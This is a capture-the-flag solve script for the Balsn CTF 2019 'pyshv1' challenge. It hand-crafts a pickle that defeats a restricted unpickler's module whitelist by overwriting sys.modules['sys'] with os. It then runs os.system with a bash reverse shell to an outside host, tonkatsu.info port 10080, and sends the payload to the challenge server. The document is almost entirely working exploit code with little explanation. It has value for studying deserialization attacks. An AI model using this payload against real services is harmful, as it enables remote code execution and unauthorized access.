Balsn CTF 2019 pyshv1

solve.py

import pickle
import io

whitelist = ['sys']

# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):
        print(module)
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        return pickle.Unpickler.find_class(self, module, name)


def loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()


dumps = pickle.dumps

import sys
import os
import pickletools

class MyPickler():
    import pickle
    def __init__(self):
        self._binput = 0

    def binput(self):
        ret = pickle.BINPUT + self._binput.to_bytes(1, 'little')
        self._binput += 1
        return ret

    def string(self, s):
        return pickle.STRING + b"'" + s.encode() + b"'" + b"\n"

    def end(self):
        return b'.'

    def reduce(self):
        return b'R'

    def tuple(self, size):
        assert size >= 1
        return (0x84+size).to_bytes(1, 'little')

    def cglobal(self, module, name):
        return b'c' + module.encode() + b'\n' + name.encode() + b'\n'

mp = MyPickler()

s = b''
# sys.modules['sys'] = sys.modules
s += mp.cglobal('sys', 'modules')
s += mp.binput()
s += mp.string('sys')
s += mp.cglobal('sys', 'modules')
s += b's'
s += b'0'

# sys.modules.get('os')
s += mp.cglobal('sys', 'get')
s += mp.string('os')
s += mp.tuple(1)
s += mp.reduce()

# memo[0] = sys.modules
# memo[1] = os
s += mp.binput()

# sys.modules['sys'] = os
s += b'g0\n'
s += mp.string('sys')
s += b'g1\n'
s += b's'
s += b'0'

# reduce (os.system, (cmd, ))
s += mp.cglobal('sys', 'system')
s += mp.string('/bin/bash -c "bash -i >& /dev/tcp/tonkatsu.info/10080 0>&1"')
s += mp.tuple(1)
s += mp.reduce()

s += mp.end()

# print(pickle.loads(s))
# pickletools.dis(s)
# print(repr(s))

# RestrictedUnpickler(io.BytesIO(s)).load()


import socket
sock = socket.socket()
sock.connect(("pysh1.balsnctf.com", 5421))

import base64
payload = base64.b64encode(s)
sock.send(payload + b'\n')
sock.send(b'hoge\n')
print(sock.recv(10))